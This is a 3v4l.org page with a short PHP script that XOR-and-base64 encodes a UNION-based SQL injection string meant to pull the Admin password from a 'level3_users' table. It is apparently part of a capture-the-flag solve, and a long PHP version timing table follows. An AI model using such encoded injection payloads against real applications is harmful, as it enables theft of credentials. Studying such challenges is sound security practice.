3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("Admin union select 1,2,3,4,password from level3_users where username='Admin'#")); echo '<br />'; echo(decrypt(encrypt("Admin union select 1,2,3,4,password from level3_users where username='Admin'#"))); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.01117.00
8.3.50.0120.00922.00
8.3.40.0030.01218.88
8.3.30.0070.00719.14
8.3.20.0000.00720.29
8.3.10.0040.00423.70
8.3.00.0000.00719.02
8.2.180.0130.00616.88
8.2.170.0030.01322.96
8.2.160.0040.01120.43
8.2.150.0000.00824.18
8.2.140.0150.00424.66
8.2.130.0040.00426.16
8.2.120.0050.00319.61
8.2.110.0030.00622.01
8.2.100.0060.00618.03
8.2.90.0040.00419.27
8.2.80.0060.00317.97
8.2.70.0000.00917.75
8.2.60.0000.01017.93
8.2.50.0110.00018.07
8.2.40.0040.00419.95
8.2.30.0030.00518.37
8.2.20.0030.00517.82
8.2.10.0060.00318.18
8.2.00.0000.00819.55
8.1.280.0160.00025.92
8.1.270.0030.00623.99
8.1.260.0030.00626.35
8.1.250.0030.00528.09
8.1.240.0070.00324.05
8.1.230.0040.00819.22
8.1.220.0000.00817.91
8.1.210.0060.00318.77
8.1.200.0100.00017.50
8.1.190.0040.00417.61
8.1.180.0040.00418.10
8.1.170.0000.01018.84
8.1.160.0020.00522.15
8.1.150.0030.00618.75
8.1.140.0000.00717.65
8.1.130.0070.00017.94
8.1.120.0040.00417.65
8.1.110.0000.00817.52
8.1.100.0000.00817.62
8.1.90.0080.00017.58
8.1.80.0000.00717.58
8.1.70.0000.01117.57
8.1.60.0050.00517.74
8.1.50.0000.00817.72
8.1.40.0040.00417.79
8.1.30.0000.00817.75
8.1.20.0040.00417.86
8.1.10.0040.00417.73
8.1.00.0100.00017.71
8.0.300.0000.00718.77
8.0.290.0000.00816.88
8.0.280.0050.00218.42
8.0.270.0050.00217.24
8.0.260.0030.00317.36
8.0.250.0000.00717.19
8.0.240.0030.00317.21
8.0.230.0000.00717.14
8.0.220.0050.00316.98
8.0.210.0030.00316.97
8.0.200.0030.00317.12
8.0.190.0050.00317.16
8.0.180.0050.00317.16
8.0.170.0000.00817.07
8.0.160.0050.00217.09
8.0.150.0040.00416.98
8.0.140.0040.00417.03
8.0.130.0000.00613.47
8.0.120.0060.00317.02
8.0.110.0040.00416.98
8.0.100.0040.00416.89
8.0.90.0050.00216.90
8.0.80.0130.00317.11
8.0.70.0050.00317.06
8.0.60.0030.00516.92
8.0.50.0040.00416.98
8.0.30.0100.01017.24
8.0.20.0110.00817.53
8.0.10.0000.00817.03
8.0.00.0080.01016.87
7.4.330.0000.00615.11
7.4.320.0030.00316.86
7.4.300.0000.00616.86
7.4.290.0000.00716.67
7.4.280.0030.00616.68
7.4.270.0040.00416.82
7.4.260.0040.00416.87
7.4.250.0030.00516.84
7.4.240.0030.00416.75
7.4.230.0050.00316.67
7.4.220.0060.01316.87
7.4.210.0060.00916.86
7.4.200.0020.00516.74
7.4.160.0100.00716.54
7.4.150.0110.00717.40
7.4.140.0130.00617.86
7.4.130.0060.01016.72
7.4.120.0100.00716.73
7.4.110.0060.01216.84
7.4.100.0160.00616.67
7.4.90.0130.00316.64
7.4.80.0040.01419.39
7.4.70.0030.01416.72
7.4.60.0080.00916.68
7.4.50.0000.00516.77
7.4.40.0140.00316.80
7.4.30.0060.01016.61
7.4.10.0090.00915.02
7.4.00.0070.00615.16
7.3.330.0030.00313.51
7.3.320.0000.00513.42
7.3.310.0000.00816.50
7.3.300.0050.00216.55
7.3.290.0050.01116.53
7.3.280.0080.01016.56
7.3.270.0070.01417.40
7.3.260.0030.02016.89
7.3.250.0100.00716.77
7.3.240.0060.01216.91
7.3.230.0130.01016.47
7.3.210.0110.00616.50
7.3.200.0060.00919.39
7.3.190.0060.01416.81
7.3.180.0040.01216.64
7.3.170.0120.00616.53
7.3.160.0130.00916.46
7.3.130.0100.01015.25
7.3.120.0040.01515.30
7.3.110.0030.01215.12
7.3.100.0070.00515.16
7.3.90.0080.00815.21
7.3.80.0090.00315.16
7.3.70.0070.00714.88
7.3.60.0080.00715.18
7.3.50.0060.00615.00
7.3.40.0090.00714.96
7.3.30.0100.00614.96
7.3.20.0070.00516.81
7.3.10.0090.00816.63
7.3.00.0080.00516.50
7.2.330.0110.00716.96
7.2.320.0170.00016.99
7.2.310.0060.01216.85
7.2.300.0000.01616.89
7.2.290.0090.01216.87
7.2.260.0070.01115.33
7.2.250.0060.01215.10
7.2.240.0090.00515.41
7.2.230.0070.01015.14
7.2.220.0050.01115.26
7.2.210.0080.00815.41
7.2.200.0040.00915.38
7.2.190.0110.00815.35
7.2.180.0110.00415.33
7.2.170.0080.00615.39
7.2.160.0030.00915.28
7.2.150.0020.01417.20
7.2.140.0100.00617.12
7.2.130.0070.01216.94
7.2.120.0100.01116.88
7.2.110.0150.00216.96
7.2.100.0100.00916.87
7.2.90.0090.01216.91
7.2.80.0070.01316.93
7.2.70.0100.00716.91
7.2.60.0060.01316.95
7.2.50.0100.00817.04
7.2.40.0140.00617.10
7.2.30.0080.01017.07
7.2.20.0080.01017.00
7.2.10.0100.00616.95
7.2.00.0070.01017.75
7.1.330.0070.00616.18
7.1.320.0060.00815.84
7.1.310.0070.00816.07
7.1.300.0120.00715.72
7.1.290.0020.01415.88
7.1.280.0090.00616.05
7.1.270.0050.01215.84
7.1.260.0070.00815.90
7.1.250.0080.01015.85
7.1.240.0030.00616.08
7.1.230.0110.00016.00
7.1.220.0070.00716.00
7.1.210.0100.00315.97
7.1.200.0030.00915.95
7.1.190.0040.01115.98
7.1.180.0100.01015.77
7.1.170.0060.01216.16
7.1.160.0000.01516.00
7.1.150.0030.01015.97
7.1.140.0090.00616.18
7.1.130.0030.00715.97
7.1.120.0070.01116.10
7.1.110.0110.00716.16
7.1.100.0060.00817.14
7.1.90.0000.01115.90
7.1.80.0090.00315.98
7.1.70.0020.00816.67
7.1.60.0060.01217.74
7.1.50.0110.00716.58
7.1.40.0070.00716.14
7.1.30.0030.00715.79
7.1.20.0060.00915.76
7.1.10.0100.00316.02
7.1.00.0040.04419.23
7.0.330.0060.00615.64
7.0.320.0000.01515.55
7.0.310.0030.01015.68
7.0.300.0060.01215.73
7.0.290.0100.00315.41
7.0.280.0000.01215.63
7.0.270.0030.01015.41
7.0.260.0000.01515.30
7.0.250.0030.01015.63
7.0.240.0060.00615.49
7.0.230.0080.00415.76
7.0.220.0000.01715.38
7.0.210.0000.01515.28
7.0.200.0020.00616.34
7.0.190.0040.00815.69
7.0.180.0000.01015.76
7.0.170.0030.00615.80
7.0.160.0080.00415.85
7.0.150.0130.00015.49
7.0.140.0050.04018.86
7.0.130.0040.00815.80
7.0.120.0020.02818.71
7.0.110.0030.03018.80
7.0.100.0050.03518.78
7.0.90.0040.02418.74
7.0.80.0130.04318.85
7.0.70.0020.04518.74
7.0.60.0070.02018.88
7.0.50.0030.03118.76
7.0.40.0030.03516.84
7.0.30.0030.03716.77
7.0.20.0030.02816.84
7.0.10.0020.03916.86
7.0.00.0030.02516.88
5.6.400.0030.00714.78
5.6.390.0080.00814.80
5.6.380.0030.01014.74
5.6.370.0030.00914.40
5.6.360.0070.01314.88
5.6.350.0060.00914.44
5.6.340.0060.00314.41
5.6.330.0050.00514.84
5.6.320.0040.01114.23
5.6.310.0030.00614.12
5.6.300.0060.00614.57
5.6.290.0040.00814.53
5.6.280.0030.04217.58
5.6.270.0030.02317.76
5.6.260.0040.02617.70
5.6.250.0050.02217.64
5.6.240.0020.02917.74
5.6.230.0060.04617.83
5.6.220.0050.02817.72
5.6.210.0040.02517.69
5.6.200.0080.03217.94
5.6.190.0020.04017.86
5.6.180.0060.03317.64
5.6.170.0070.02317.78
5.6.160.0020.03217.63
5.6.150.0070.02217.66
5.6.140.0020.02617.81
5.6.130.0050.02617.77
5.6.120.0030.04017.64
5.6.110.0100.03517.68
5.6.100.0030.04517.65
5.6.90.0050.04217.49
5.6.80.0020.02517.21
5.6.70.0030.02917.43
5.6.60.0020.03917.25
5.6.50.0050.02117.50
5.6.40.0070.03517.23
5.6.30.0020.04617.34
5.6.20.0050.03017.33
5.6.10.0040.03817.47
5.6.00.0070.02017.23
5.5.380.0050.03816.08
5.5.370.0060.02715.97
5.5.360.0030.03216.06
5.5.350.0080.04216.07
5.5.340.0030.04216.06
5.5.330.0030.04716.14
5.5.320.0000.04516.28
5.5.310.0040.03416.31
5.5.300.0040.03916.31
5.5.290.0050.02316.29
5.5.280.0050.02316.32
5.5.270.0040.03416.14
5.5.260.0030.03616.37
5.5.250.0070.02816.20
5.5.240.0060.04015.99
5.5.230.0070.04116.00
5.5.220.0020.03216.10
5.5.210.0050.02015.98
5.5.200.0080.04015.89
5.5.190.0000.04215.96
5.5.180.0030.04516.11
5.5.170.0090.00614.36
5.5.160.0030.02315.99
5.5.150.0050.03715.89
5.5.140.0040.03915.66
5.5.130.0080.04015.94
5.5.120.0030.03315.97
5.5.110.0020.03815.72
5.5.100.0030.04415.94
5.5.90.0020.03915.86
5.5.80.0050.02515.77
5.5.70.0120.01515.76
5.5.60.0030.02515.79
5.5.50.0020.03215.65
5.5.40.0040.03415.88
5.5.30.0000.04115.87
5.5.20.0040.04315.97
5.5.10.0020.02416.03
5.5.00.0050.03816.01
5.4.450.0050.02715.82
5.4.440.0050.02215.91
5.4.430.0050.02515.82
5.4.420.0000.02315.84
5.4.410.0020.03915.85
5.4.400.0000.02515.76
5.4.390.0020.02815.71
5.4.380.0100.01515.76
5.4.370.0050.03015.73
5.4.360.0020.02415.75
5.4.350.0030.03015.83
5.4.340.0070.03715.68
5.4.330.0060.00312.38
5.4.320.0020.02815.78
5.4.310.0060.04115.76
5.4.300.0100.01815.66
5.4.290.0040.04215.82
5.4.280.0030.03715.66
5.4.270.0030.03915.65
5.4.260.0060.03615.67
5.4.250.0030.04315.75
5.4.240.0070.02515.78
5.4.230.0050.02215.78
5.4.220.0020.03515.83
5.4.210.0070.04015.75
5.4.200.0050.01915.78
5.4.190.0030.02815.67
5.4.180.0020.03015.78
5.4.170.0030.04115.65
5.4.160.0020.03015.65
5.4.150.0140.00815.81
5.4.140.0000.02314.47
5.4.130.0010.02314.37
5.4.120.0020.02714.43
5.4.110.0020.02414.35
5.4.100.0020.02114.44
5.4.90.0040.01814.40
5.4.80.0060.01714.47
5.4.70.0020.02014.46
5.4.60.0020.02014.31
5.4.50.0040.01814.42
5.4.40.0020.03814.45
5.4.30.0030.03314.44
5.4.20.0020.02014.39
5.4.10.0020.02214.39
5.4.00.0040.03414.11
5.3.290.0020.02013.53
5.3.280.0000.03013.61
5.3.270.0000.02513.55
5.3.260.0020.04213.43
5.3.250.0000.02813.57
5.3.240.0060.02813.54
5.3.230.0030.02113.56
5.3.220.0060.02313.54
5.3.210.0050.02213.49
5.3.200.0030.02213.48
5.3.190.0000.02413.49
5.3.180.0030.02013.49
5.3.170.0000.02313.55
5.3.160.0020.01813.47
5.3.150.0000.02513.46
5.3.140.0000.02513.49
5.3.130.0030.01713.52
5.3.120.0000.03113.49
5.3.110.0050.02713.52
5.3.100.0040.02013.28
5.3.90.0000.02413.32
5.3.80.0020.02213.21
5.3.70.0070.01813.24
5.3.60.0020.02413.20
5.3.50.0060.01613.20
5.3.40.0050.03613.18
5.3.30.0030.02813.14
5.3.20.0020.02513.04
5.3.10.0020.02013.04
5.3.00.0050.01712.94
5.2.170.0000.03011.17
5.2.160.0000.03311.11
5.2.150.0030.04711.22
5.2.140.0000.04011.17
5.2.130.0030.04011.20
5.2.120.0000.03011.09
5.2.110.0030.04711.34
5.2.100.0000.06011.13
5.2.90.0000.03711.26
5.2.80.0000.03011.34
5.2.70.0000.06011.24
5.2.60.0030.05711.05
5.2.50.0000.05011.02
5.2.40.0070.05711.15
5.2.30.0030.04711.22
5.2.20.0030.02710.97
5.2.10.0000.05010.88
5.2.00.0000.06310.88
5.1.60.0000.04310.14
5.1.50.0070.03010.14
5.1.40.0000.05010.14
5.1.30.0000.03710.43
5.1.20.0000.02710.23
5.1.10.0030.04010.24
5.1.00.0030.02710.14
5.0.50.0000.02310.14
5.0.40.0000.02010.14
5.0.30.0000.03310.14
5.0.20.0000.02010.14
5.0.10.0000.02010.14
5.0.00.0030.02710.14
4.4.90.0030.01310.14
4.4.80.0000.03710.14
4.4.70.0000.03310.14
4.4.60.0000.01710.14
4.4.50.0000.03310.14
4.4.40.0000.03010.14
4.4.30.0030.03010.14
4.4.20.0000.01710.14
4.4.10.0000.01710.14
4.4.00.0000.03010.14
4.3.110.0000.01310.14
4.3.100.0000.01310.14
4.3.90.0000.01310.14
4.3.80.0000.02710.14
4.3.70.0030.01010.14
4.3.60.0000.03310.14
4.3.50.0030.02310.14
4.3.40.0070.02010.14
4.3.30.0000.03010.14
4.3.20.0000.01710.14
4.3.10.0000.01710.14
4.3.00.0000.02010.14

preferences:
49.98 ms | 401 KiB | 5 Q